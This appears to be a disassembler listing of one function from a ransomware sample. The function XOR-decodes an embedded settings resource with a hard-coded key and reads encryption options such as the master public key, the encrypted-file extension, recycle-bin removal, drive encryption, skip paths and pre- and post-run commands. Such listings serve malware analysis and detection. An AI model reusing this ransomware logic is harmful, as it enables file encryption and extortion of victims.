Function at 0x4036e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c583
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb8
push esi
push edi
push str.____Load_settings_from_resource..._n
call fcn.00401dd0
push ecx
mov eax, esp
lea ecx, [ebp - 0x60]
mov dword [eax], str.SETTINGS
mov dword [eax + 4], 8
call fcn.0041d380
add esp, 8
mov dword [ebp - 4], 0
cmp byte [ebp - 0x60], 0
je 0x40450e
mov edi, dword [ebp - 0x58]
mov esi, 0
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], esi
sub edi, dword [ebp - 0x5c]
je 0x403781
cmp edi, 0x7fffffff
ja 0x404559
push edi
lea ecx, [ebp - 0x20]
call fcn.004094a0
mov esi, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
sub esi, eax
push esi
push eax
push dword [ebp - 0x20]
call fcn.00421330
mov eax, dword [ebp - 0x20]
add esp, 0xc
add eax, esi
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
xor ecx, ecx
test edi, edi
je 0x4037ad
mov dword [ebp - 0x10], 0xe
nop
xor edx, edx
mov eax, ecx
div dword [ebp - 0x10]
mov eax, dword [ebp - 0x5c]
add edx, str.PUTINHUILO1337
mov al, byte [ecx + eax]
xor al, byte [edx]
mov byte [ecx + esi], al
inc ecx
cmp ecx, edi
jb 0x403790
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00405a20
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x4037ed
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x4037e3
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404635
push edx
push ecx
call fcn.0041fc4a
add esp, 8
mov eax, dword [ebp - 0x58]
mov byte [ebp - 0x11], 0
cmp eax, dword [ebp - 0x54]
je 0x403805
mov byte [eax], 0
mov ecx, dword [ebp - 0x58]
inc ecx
mov dword [ebp - 0x58], ecx
jmp 0x403815
lea ecx, [ebp - 0x11]
push ecx
push eax
lea ecx, [ebp - 0x5c]
call fcn.0040be60
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x5c]
sub ecx, eax
push ecx
push eax
push str.___Resource:__s__i_n
call fcn.00401e30
mov eax, dword [ebp - 0x5c]
lea edx, [ebp - 0x10]
add esp, 0xc
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x50]
push 0
push 1
sub esp, 0x28
mov eax, esp
mov dword [eax + 0x24], 0
call fcn.00406a10
add esp, 0x30
push str.sMasterPublicKey
lea ecx, [ebp - 0x50]
mov byte [ebp - 4], 1
call fcn.00406b20
lea ecx, [ebp - 0xc4]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xa8]
call fcn.0041d120
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0x10
jb 0x4038bb
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4038b1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
cmp dword [ebp - 0x94], 8
lea eax, [ebp - 0xa8]
push dword [ebp - 0x98]
cmovae eax, dword [ebp - 0xa8]
mov ecx, 0x44f9cc
push eax
mov dword [ebp - 0xb4], 0
mov dword [ebp - 0xb0], 0xf
mov byte [ebp - 0xc4], 0
call fcn.00412d10
add esp, 8
test eax, eax
jne 0x40390a
mov byte [ebp - 0x11], al
jmp 0x40449c
push str.sEncryptedFileExtension
lea ecx, [ebp - 0x50]
call fcn.00406b20
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x90]
call fcn.0041d120
mov esi, eax
cmp esi, 0x44fabc
je 0x4039c1
mov edx, dword [0x44fad0]
cmp edx, 8
jb 0x403981
mov ecx, dword [0x44fabc]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x403977
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x404563
mov ecx, edi
push edx
push ecx
call fcn.0041fc4a
add esp, 8
mov dword [0x44facc], 0
xor eax, eax
mov dword [0x44fad0], 7
mov word [0x44fabc], ax
movups xmm0, xmmword [esi]
movups xmmword [0x44fabc], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x44facc], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov ecx, dword [ebp - 0x7c]
cmp ecx, 8
jb 0x4039fe
mov edx, dword [ebp - 0x90]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4039f4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404563
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x7c], 7
mov word [ebp - 0x90], ax
cmp ecx, 0x10
jb 0x403a4d
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404563
push ecx
push edx
call fcn.0041fc4a
add esp, 8
push str.bThreadPool
lea ecx, [ebp - 0x50]
call fcn.00406b20
mov ecx, eax
cmp byte [ecx], 4
jne 0x404568
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.nThreads
mov byte [0x456390], al
call fcn.00406b20
mov ecx, eax
call fcn.00406c70
push str.nEncryptionTypeIO
lea ecx, [ebp - 0x50]
mov dword [0x45639c], eax
call fcn.00406b20
mov ecx, eax
call fcn.00406c70
push str.nEncryptionLimitBytes
lea ecx, [ebp - 0x50]
mov dword [0x456394], eax
call fcn.00406b20
mov ecx, eax
call fcn.00406c70
push str.nEncryptionType
lea ecx, [ebp - 0x50]
mov dword [0x44f9a0], eax
call fcn.00406b20
mov ecx, eax
call fcn.00406c70
push str.nEncryptionBlockBytes
lea ecx, [ebp - 0x50]
mov dword [0x4563a0], eax
call fcn.00406b20
mov ecx, eax
call fcn.00406c70
push str.nEncryptionSkipBytes
lea ecx, [ebp - 0x50]
mov dword [0x44f9a4], eax
call fcn.00406b20
mov ecx, eax
call fcn.00406c70
push str.bRemoveRecycle
lea ecx, [ebp - 0x50]
mov dword [0x4563a8], eax
call fcn.00406b20
mov ecx, eax
cmp byte [ecx], 4
jne 0x40459a
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.bChiperDrives
mov byte [0x4563a4], al
call fcn.00406b20
mov ecx, eax
cmp byte [ecx], 4
jne 0x4045cc
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.bHideConsole
mov byte [0x4563a5], al
call fcn.00406b20
mov ecx, eax
cmp byte [ecx], 4
jne 0x4045fe
mov al, byte [ecx + 8]
lea ecx, [ebp - 0x50]
push str.sRequirementsFilename
mov byte [0x4563ac], al
call fcn.00406b20
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x78]
call fcn.0041d120
push eax
mov ecx, 0x44f9b4
call fcn.00405c10
lea ecx, [ebp - 0x78]
call fcn.00405bb0
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 4
call fcn.00401ba0
push str.sRequirementsData
lea ecx, [ebp - 0x50]
call fcn.00406b20
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x78]
call fcn.0041d120
mov esi, eax
cmp esi, 0x44faa4
je 0x403c5c
mov edx, dword [0x44fab8]
cmp edx, 8
jb 0x403c1c
mov ecx, dword [0x44faa4]
lea edx, [edx*2 + 2]
cmp edx, 0x1000
jb 0x403c12
mov edi, dword [ecx - 4]
add edx, 0x23
sub ecx, edi
lea eax, [ecx - 4]
cmp eax, 0x1f
ja 0x404630
mov ecx, edi
push edx
push ecx
call fcn.0041fc4a
add esp, 8
mov dword [0x44fab4], 0
xor eax, eax
mov dword [0x44fab8], 7
mov word [0x44faa4], ax
movups xmm0, xmmword [esi]
movups xmmword [0x44faa4], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x44fab4], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
lea ecx, [ebp - 0x78]
call fcn.00405bb0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x403c9c
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403c92
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404630
push ecx
push edx
call fcn.0041fc4a
add esp, 8
push str.vecSkipFileExtensions
lea ecx, [ebp - 0x50]
call fcn.00406b20
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004058d0
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405820
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
je 0x403e38
nop dword [eax + eax]
lea ecx, [ebp - 0x24]
call fcn.00405720
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x3c]
call fcn.0041d120
mov byte [ebp - 4], 0xe
mov ecx, dword [0x44fa9c]
cmp ecx, dword [0x44faa0]
je 0x403d53
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44fa9c], 0x18
jmp 0x403d5f
push eax
push ecx
mov ecx, 0x44fa98
call fcn.0040bbd0
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x403d9d
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403d93
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x403de9
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403ddf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403dfb.0
movzx eax, byte [eax + 0x40464c]
jmp dword [eax*4 + 0x404640]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.004064e0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x403e21
add dword [ebp - 0x1c], 0x10
jmp 0x403e21
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
jne 0x403ce0
push str.vecFullEncryptionExtensions
lea ecx, [ebp - 0x50]
call fcn.00406b20
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004058d0
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405820
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
je 0x403fcf
lea ecx, [ebp - 0x24]
call fcn.00405720
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x3c]
call fcn.0041d120
mov byte [ebp - 4], 0x10
mov ecx, dword [0x44fa24]
cmp ecx, dword [0x44fa28]
je 0x403eea
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44fa24], 0x18
jmp 0x403ef6
push eax
push ecx
mov ecx, 0x44fa20
call fcn.0040bbd0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x403f34
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403f2a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x403f80
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403f76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x403f92.0
movzx eax, byte [eax + 0x404664]
jmp dword [eax*4 + 0x404658]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.004064e0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x403fb8
add dword [ebp - 0x1c], 0x10
jmp 0x403fb8
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
jne 0x403e77
push str.vecSkipPaths
lea ecx, [ebp - 0x50]
call fcn.00406b20
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004058d0
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405820
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
je 0x404168
nop
lea ecx, [ebp - 0x24]
call fcn.00405720
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x3c]
call fcn.0041d120
mov byte [ebp - 4], 0x12
mov ecx, dword [0x456428]
cmp ecx, dword [0x45642c]
je 0x404083
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x456428], 0x18
jmp 0x40408f
push eax
push ecx
mov ecx, 0x456424
call fcn.0040bbd0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x4040cd
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4040c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x404119
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40410f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x40412b.0
movzx eax, byte [eax + 0x40467c]
jmp dword [eax*4 + 0x404670]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.004064e0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x404151
add dword [ebp - 0x1c], 0x10
jmp 0x404151
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
jne 0x404010
push str.vecPreRunCommands
lea ecx, [ebp - 0x50]
call fcn.00406b20
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004058d0
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405820
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
je 0x4042ff
lea ecx, [ebp - 0x24]
call fcn.00405720
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x3c]
call fcn.0041d120
mov byte [ebp - 4], 0x14
mov ecx, dword [0x44fad8]
cmp ecx, dword [0x44fadc]
je 0x40421a
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44fad8], 0x18
jmp 0x404226
push eax
push ecx
mov ecx, 0x44fad4
call fcn.0040bbd0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x404264
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40425a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x4042b0
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4042a6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x4042c2.0
movzx eax, byte [eax + 0x404694]
jmp dword [eax*4 + 0x404688]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.004064e0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x4042e8
add dword [ebp - 0x1c], 0x10
jmp 0x4042e8
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
jne 0x4041a7
push str.vecPostRunCommands
lea ecx, [ebp - 0x50]
call fcn.00406b20
mov esi, eax
lea eax, [ebp - 0x24]
push eax
mov ecx, esi
call fcn.004058d0
lea eax, [ebp - 0x88]
mov ecx, esi
push eax
call fcn.00405820
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
je 0x404498
nop
lea ecx, [ebp - 0x24]
call fcn.00405720
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.00406da0
mov edx, eax
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3c]
call fcn.0041d120
mov byte [ebp - 4], 0x16
mov ecx, dword [0x44fa78]
cmp ecx, dword [0x44fa7c]
je 0x4043b3
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [ecx], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ecx + 0x10], xmm0
xor ecx, ecx
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
add dword [0x44fa78], 0x18
jmp 0x4043bf
push eax
push ecx
mov ecx, 0x44fa74
call fcn.0040bbd0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x28]
cmp ecx, 8
jb 0x4043fd
mov edx, dword [ebp - 0x3c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4043f3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 7
mov word [ebp - 0x3c], ax
cmp ecx, 0x10
jb 0x404449
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40443f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40455e
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
cmp eax, 9
ja case.0x40445b.0
movzx eax, byte [eax + 0x4046ac]
jmp dword [eax*4 + 0x4046a0]
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], eax
call fcn.004064e0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
jmp 0x404481
add dword [ebp - 0x1c], 0x10
jmp 0x404481
inc dword [ebp - 0x18]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x24]
call fcn.00406e70
test al, al
jne 0x404340
mov byte [ebp - 0x11], 1
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x94]
cmp ecx, 8
jb 0x4044e0
mov edx, dword [ebp - 0xa8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4044d6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404635
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 7
mov word [ebp - 0xa8], ax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x48]
push dword [ebp - 0x50]
call fcn.00405eb0
jmp 0x404512
mov byte [ebp - 0x11], 0
mov ecx, dword [ebp - 0x5c]
test ecx, ecx
je 0x404546
mov edx, dword [ebp - 0x54]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x40453c
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40463a
push edx
push ecx
call fcn.0041fc4a
add esp, 8
mov al, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00405aa0
call fcn.0042c24f
call fcn.0042c24f
call fcn.00409270
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412970
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 7
call fcn.00412780
add esp, 8
lea eax, [ebp - 0x40]
push 0x44d104
push eax
call fcn.004212b7
call fcn.00409270
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412970
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 8
call fcn.00412780
add esp, 8
lea eax, [ebp - 0x40]
push 0x44d104
push eax
call fcn.004212b7
call fcn.00409270
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412970
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 9
call fcn.00412780
add esp, 8
lea eax, [ebp - 0x40]
push 0x44d104
push eax
call fcn.004212b7
call fcn.00409270
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x78]
lea eax, [ebp - 0x10]
push eax
call fcn.00412970
push eax
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xa
call fcn.00412780
add esp, 8
lea eax, [ebp - 0x40]
push 0x44d104
push eax
call fcn.004212b7
call fcn.0042c24f
call fcn.0042c24f
call fcn.0042c24f
nop
push ds
inc eax
add byte [edx], al
inc eax
add byte [eax], bl
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
mov ch, 63
inc eax
add byte [ecx - 0x50ffbfc1], bl
aas
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
dec esi
inc ecx
inc eax
add byte [edx], dh
inc ecx
inc eax
add byte [eax + 0x41], cl
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
in eax, 66
inc eax
add cl, cl
inc edx
inc eax
add bh, bl
inc edx
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi - 112], ah
jle 4212454
inc eax
add byte [edx + 0x44], ah
inc eax
add byte [eax + 0x44], bh
inc eax
add byte [eax], al
add dword [edx], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add ah, cl
int3
and ecx, dword [ebx - 0x17afae3e]
pop edx
mov ch, 1
add bh, al
inc esi
add al, 0
add byte [eax], al
add byte [ebx + 0x46c708c4], al
or byte [eax], al
add byte [eax], al
add bh, al
inc esi
or al, 0
add byte [eax], al
add byte [esi - 0x3d], bl
call fcn.0042c24f
int3